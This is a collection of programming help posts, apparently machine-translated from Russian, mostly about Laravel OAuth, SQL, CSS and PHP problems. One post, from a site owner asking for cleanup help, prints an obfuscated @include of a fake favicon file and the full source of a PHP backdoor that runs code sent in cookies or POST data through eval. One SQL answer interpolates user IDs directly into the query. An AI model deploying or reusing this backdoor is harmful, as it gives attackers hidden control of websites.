你好。我在Firefox中注册了一个账号,当我收到一封确认邮件的邮件时,我很惊讶我不需要打开邮件来确认邮件。我怎样才能在我来自网站的信件上制作这样的按钮,也许有人知道?还是谷歌自己对某些公司做的?
Abmin's questions
一个月后,VKontakte 对 Laravel 项目的授权停止工作。使用了社交名流包。现在,当我登录时,我收到此错误:
VkontakteProvider.php 第 92 行中的 InvalidStateException:
我查看了VK返回的内容,原来是302错误。
由于令牌的生命周期已经结束,我理解该错误。
它在这里抛出一个错误:
if ($this->hasInvalidState()) {
throw new InvalidStateException();
}
但是我的知识不足以理解为什么,你能解释一下吗?
这是错误页面:
这是文件VkontakteProvider.php:
<?php
namespace Laravel\Socialite\Two;
use Exception;
use Illuminate\Support\Arr;
class VkontakteProvider extends AbstractProvider implements ProviderInterface
{
protected $fields = ['uid', 'first_name', 'last_name', 'screen_name', 'photo'];
/**
* Unique Provider Identifier.
*/
const IDENTIFIER = 'VKONTAKTE';
/**
* {@inheritdoc}
*/
protected $scopes = ['email'];
/**
* {@inheritdoc}
*/
protected function getAuthUrl($state)
{
return $this->buildAuthUrlFromBase(
'https://oauth.vk.com/authorize', $state
);
}
/**
* {@inheritdoc}
*/
protected function getTokenUrl()
{
return 'https://oauth.vk.com/access_token';
}
/**
* {@inheritdoc}
*/
protected function getUserByToken($token)
{
$response = $this->getHttpClient()->get(
'https://api.vk.com/method/users.get?user_ids='.$token['user_id'].'&fields='.implode(',', $this->fields).'&https=1'
);
$response = json_decode($response->getBody()->getContents(), true)['response'][0];
return array_merge($response, [
'email' => Arr::get($token, 'email'),
]);
}
/**
* {@inheritdoc}
*/
protected function mapUserToObject(array $user)
{
return (new User())->setRaw($user)->map([
'id' => Arr::get($user, 'uid'), 'nickname' => Arr::get($user, 'screen_name'),
'name' => trim(Arr::get($user, 'first_name')),
'email' => Arr::get($user, 'email'), 'avatar' => Arr::get($user, 'photo'),
]);
}
/**
* {@inheritdoc}
*/
protected function getTokenFields($code)
{
return array_merge(parent::getTokenFields($code), [
'grant_type' => 'authorization_code',
]);
}
/**
* {@inheritdoc}
*/
protected function parseAccessToken($body)
{
return json_decode($body, true);
}
/**
* {@inheritdoc}
*/
public function user()
{
if ($this->hasInvalidState()) {
throw new InvalidStateException();
}
$user = $this->mapUserToObject($this->getUserByToken(
$token = $this->getAccessTokenResponse($this->getCode())
));
return $user->setToken(Arr::get($token, 'access_token'))
->setExpiresIn(Arr::get($token, 'expires_in'));
}
/**
* Set the user fields to request from Vkontakte.
*
* @param array $fields
*
* @return $this
*/
public function fields(array $fields)
{
$this->fields = $fields;
return $this;
}
/**
* {@inheritdoc}
*/
public static function additionalConfigKeys()
{
return ['lang'];
}
}
我在 Laravel 5.5 上使用 Socialite,我在那里添加了 Yandex,但是当我进入授权页面时,Yandex 说:
无法确定请求的访问列表(invalid_scope)
生成的请求:
https://oauth.yandex.ru/authorize?client_id=3fde0c613c4941aa9b2143247d560fb5&redirect_uri=http%3A%2F%2Fgreenhoster.com%2Fauth%2Fyandex%2Fcallback&scope=openid+profile+email&response_type=code&state=6EILCMFrARHkCq5HFiV6aah8sRaAxU8GrcAisJrc
Yandex 提供商:
<?php
namespace Laravel\Socialite\Two;
use Exception;
use GuzzleHttp\ClientInterface;
class YandexProvider extends AbstractProvider implements ProviderInterface
{
/**
* The separating character for the requested scopes.
*
* @var string
*/
protected $scopeSeparator = ' ';
/**
* The scopes being requested.
*
* @var array
*/
protected $scopes = [
'openid',
'profile',
'email',
];
/**
* {@inheritdoc}
*/
protected function getAuthUrl($state)
{
return $this->buildAuthUrlFromBase(
'https://oauth.yandex.ru/authorize', $state
);
}
/**
* {@inheritdoc}
*/
protected function getTokenUrl()
{
return 'https://oauth.yandex.ru/token';
}
/**
* {@inheritdoc}
*/
protected function getUserByToken($token)
{
$response = $this->getHttpClient()->get(
'https://login.yandex.ru/info?format=json', [
'headers' => [
'Authorization' => 'Bearer '.$token,
],
]);
return json_decode($response->getBody()->getContents(), true);
}
/**
* {@inheritdoc}
*/
protected function mapUserToObject(array $user)
{
return (new User())->setRaw($user)->map([
'id' => $user['id'],
'nickname' => $user['login'],
'name' => Arr::get($user, 'real_name'),
'email' => Arr::get($user, 'default_email'),
'avatar' => 'https://avatars.yandex.net/get-yapic/'.Arr::get($user, 'default_avatar_id').'/islands-200',
]);
}
/**
* {@inheritdoc}
*/
protected function getTokenFields($code)
{
return array_merge(parent::getTokenFields($code), [
'grant_type' => 'authorization_code',
]);
}
}
你好。登录、注册或离开网站后,网站语言变为标准语言,如何保存语言标签?
app\Http\Controllers\Auth\LoginController.php
public function authenticated()
{
if(auth()->user()->is_admin)
{
return redirect('/admin');
}
return redirect()->route('profile', ['id' => auth()->user()->id]);
}
路线\web.php
Route::get('/profile', 'MypageController@register');
app\Http\Controllers\MyPageController.php
public function register()
{
return redirect()->route('profile', ['id' => auth()->user()->id]);
}
我想确保数据库中的条目只被用户添加了1次,即你需要检查user_id的存在,如果这个用户还没有添加任何东西,那么添加它,如果它已经添加,然后什么也不做。我知道您可以通过 user_id 获取记录数,但我想通过一个请求来完成。
$this->validate($request, [
'user_id' => 'required|unique:user_id',
'text' => 'required',
]);
DB::table('suggestions')->insert([
'user_id' => Auth::user()->id,
'text' => $request->input('advert'),
]);
将站点从 Opencart 2 移动到 Laravel 5,但是在迁移用户时出现了问题。在 Opencart 2 中,散列是这样发生的:
sha1($salt.sha1($salt.sha1($password)))
在 Laravel 5 中有所不同,我不知道该怎么办,只需重置所有密码并将新密码发送到邮件?通过蛮力排序需要2年多的时间:)
我不想将散列方法更改为 Laravel,您能提出正确的解决方案吗?
我在数据库中有记录,并且在一列中有数组,就像["1", "2", "3"]
我想显示的那样,例如,数组中存在数字2的所有记录。
我该怎么做?
这是我的要求:
$tasks = Task::select(['id', 'title', 'price', 'status', 'date'])
->where('category', 1)
->where('subcategory', $id) // нужно чтобы здесь искало в массиве $id
->where('status', '!=', 0)
->where('status', '!=', 6)
->orderBy('created_at', 'DESC')
->paginate($taskcount);
由于代码在这里不起作用,您需要查看Codepen。
我用滚动制作了一个块,里面是一个子块。当您按下缩放按钮时,浏览器中的全屏模式会打开,但如果块不适合屏幕(例如,从手机中,当我们的屏幕小于块时),滚动将停止工作。
$(".zoom").click(function() {
var conf = $(this).attr("data-status");
fullScreen(conf)
});
function fullScreen(conf) {
var docelem = $("#game").get(0);
if (conf == "true") {
if (docelem.requestFullscreen) {
docelem.requestFullscreen();
} else if (docelem.mozRequestFullScreen) {
docelem.mozRequestFullScreen();
} else if (docelem.webkitRequestFullScreen) {
docelem.webkitRequestFullScreen();
} else if (docelem.msRequestFullscreen) {
docelem.msRequestFullscreen();
}
} else {
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.msExitFullscreen) {
document.msExitFullscreen();
}
}
}
$("#game").get(0).addEventListener("webkitfullscreenchange", onfullscreenchange);
$("#game").get(0).addEventListener("mozfullscreenchange", onfullscreenchange);
$("#game").get(0).addEventListener("fullscreenchange", onfullscreenchange);
function onfullscreenchange() {
var docelem = $("#game").get(0);
var conf = $(".zoom").attr("data-status");
if (conf == "true") {
if (docelem.requestFullscreen) {
$(".zoom").attr("data-status", "false");
} else if (docelem.mozRequestFullScreen) {
$(".zoom").attr("data-status", "false");
} else if (docelem.webkitRequestFullScreen) {
$(".zoom").attr("data-status", "false");
} else if (docelem.msRequestFullscreen) {
$(".zoom").attr("data-status", "false");
}
} else {
if (document.exitFullscreen) {
$(".zoom").attr("data-status", "true");
} else if (document.webkitExitFullscreen) {
$(".zoom").attr("data-status", "true");
} else if (document.mozCancelFullScreen) {
$(".zoom").attr("data-status", "true");
} else if (document.msExitFullscreen) {
$(".zoom").attr("data-status", "true");
}
}
}
#game {
position: relative;
margin: 0 auto;
left: 0;
top: 0;
overflow: auto;
z-index: 5;
background: url(https://americanlibrariesmagazine.org/wp-content/uploads/2016/10/01caldecat.jpg);
height: 500px;
width: 500px;
}
.right-block {
overflow: auto;
width: 300px;
height: 300px;
margin: 30px auto;
position: relative;
}
.zoom {
margin: 5px;
position: fixed;
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div class="right-block">
<section id="game">
<input type="button" class="zoom" value="Zoom" data-status="true">
</section>
</div>
简而言之,数据库中有 3 个表:
- 所有球员名单
- 这些玩家的名字列表(分开,因为这里有关于账户的所有数据)
- 好友列表(谁在游戏中将谁添加到好友中)
我需要从表 2(列)中获取名称,从表 1(列firstname)中获取经验量,exp并检查玩家的 id 是否在表 3 中(在列中user1)user2。
我的请求:
SELECT
f.exp AS Exp,
u.firstname AS Name
FROM farmer f
JOIN customer u ON f.userId = u.customer_id
JOIN friendship fr ON fr.user1 = 33 OR fr.user2 = 33
ORDER BY (f.exp) DESC
它有效,但获得了重复项。我做错了什么?
答案:
结果,我收到了以下请求。这是从三个表中选择的朋友列表和添加为玩家朋友的人。
SELECT DISTINCT
userId as id,
exp,
oc_customer.firstname as name,
CONCAT(IFNULL(fr1.question,''),IFNULL(fr2.question,'')) as status,
CONCAT(IFNULL(fr1.user2,''),IFNULL(fr2.user2,'')) as inviter
FROM farmer
LEFT JOIN oc_customer ON customer_id=userId
LEFT JOIN friendship as fr1 ON fr1.user1='$userId'
AND (fr1.question=2 OR fr1.question=1) AND fr1.user2=userId
LEFT JOIN friendship as fr2 ON fr2.user1=userId
AND (fr2.question=2 OR fr2.question=1)AND fr2.user2='$userId'
WHERE userId!='$userId'
AND ((fr1.question=2 OR fr1.question=1) OR (fr2.question=2 OR fr2.question=1))
ORDER BY (exp)
DESC
status - 2(好友),status - 1(好友请求),invitationer(发送请求的人)
你好。我正在尝试使用 JSON 获取 PHP 数组并按国家/地区显示所有城市名称。什么都不输出。Json 有效,请在此处检查。我的错误是什么?
$json[] = file_get_contents('http://turmagnat-demo.ideaperm.ru/hotels/Output_1.json');
$array = json_decode($json, true);
$country = "Ямайка";
$city = "";
foreach ( $array as $key => $value){
if($value['country'] == $country) {
$city .= $value['city'];
}
}
echo $city;
JSON 文件示例:
[
{
"id": "al130489",
"sourceUrl": "http://tophotels.ru/hotel/al130489",
"country": "США",
"city": "Висконсин",
"name": "Hilton Garden Inn Appleton/Kimberly 3*",
"description": null,
"reviews": [],
"images": []
},
{
"id": "al277646",
"sourceUrl": "http://tophotels.ru/hotel/al277646",
"country": "Италия",
"city": "Лидо ди Камайоре",
"name": "Villa Il Fortino",
"description": null,
"reviews": [],
"images": []
}
]
我想让猪顺利地从左到右跑,反之亦然,但是转身时,有一个流畅的动画,猪变得很瘦。在过渡中,我写到只有左边是平滑的。或者也许js有解决方案?
.pig {
background: url(http://i.imgur.com/VEJ5nms.gif) no-repeat;
height: 42px;
width: 59px;
position: absolute;
top: 50px;
transition: left 2.4s;
animation: pig 4.8s infinite;
}
@keyframes pig {
0% {
left: 20px;
transform: scale(1, 1)
}
50% {
left: 300px;
transform: scale(-1, 1)
}
100% {
left: 20px;
}
}
<div class="pig"></div>
有一个我转换的块。它有一个属性,当鼠标悬停在块上时,我需要属性中的文本是均匀的。我没有做对,也许有人可以提供帮助。
.pos {
height: 75px;
width: 162px;
left: 100px;
top: 100px;
background: blue;
transform: rotateY(-43deg) rotateX(62deg) rotate(26deg);
border-radius: 5px;
position: absolute;
z-index: 2;
}
.pos:hover:before {
visibility: visible;
opacity: 1;
}
.pos:before {
content: attr(data-crop);
visibility: hidden;
position: absolute;
transform: rotateY(212deg) rotateX(116deg) rotate(148deg);
font-size: 38px;
line-height: 60px;
background: rgba(0, 0, 0, 0.46);
opacity: 0;
margin-top: -72px;
margin-left: -167px;
width: 484px;
text-align: center;
color: rgb(255, 255, 255);
transition: 0.5s;
}
<div class="pos" data-crop="Этот текст должен быть ровным"></div>
所有段落应替换[ любой текст为...
例如,текст1 [ текст2结果应该是текст1 ...
$('body').find(".cbp").text( $(this).text().replace(/\[/g, "...") );
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<p class="cbp">текст1 [ текст2</p>
<p class="cbp">текст1 [ текст2</p>
<p class="cbp">текст1 [ текст2</p>
你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:
/*1d3ec*/
@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";
/*1d3ec*/
当我删除多余的部分时,我得到了某个文件的路径:
home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico
我找到了这个文件,打开它,然后:
好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?
引擎:Opencart 2.1.0.1
仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。
更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!
UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容
我们需要用 PHP 编程,这样我们就可以在没有 % 的情况下找出数字 103(例如)。(% = 金额的 3%)。
即 100 + 100 * 0.03 = 103
你需要得到退货号码。
103???= 100
<?php
$amount = 100;
$amount = $amount / 100 * 3; получили 103
$amount = (float)$amount;
$amount = ???; // на выходе нужно получить 100
echo $amount;
你好。有一个想法是通过该站点将消息发送到 Viber 上的公共帐户。在办公室里 该网站并没有真正解释如何做到这一点。已经有账号了。例如,一个简单的表单:一个字段和一个按钮。我想在单击它时将其发送到那里。怎么做?(谷歌没有帮助)
<form>
<input type="text">
<input type="submit" value="Send to Viber">
</form>
我得到这个数组:
我想将它发送到邮件以便可以看到图像。
<?php
if($_POST != Array()) {
$arr = $_POST['data'];
$to = 'example@gmail.com';
$subject = 'Новый объект';
$message = '<html><head><title>'.$subject.'</title></head><body>';
foreach ($arr as $k => $v) {
if(preg_match("/^data:image/",$v)) {
$message .= '<img src="'.$v.'">';
} else {
$message .= $v."<br>";
}
};
$message .= "</body></html>";
$headers = "Content-type: text/html; charset=utf-8 \r\n";
$headers .= "From: Новые объекты <noreply@example.com>\r\n";
mail($to, $subject, $message, $headers);
}
可是就这样来了,有什么问题呢?















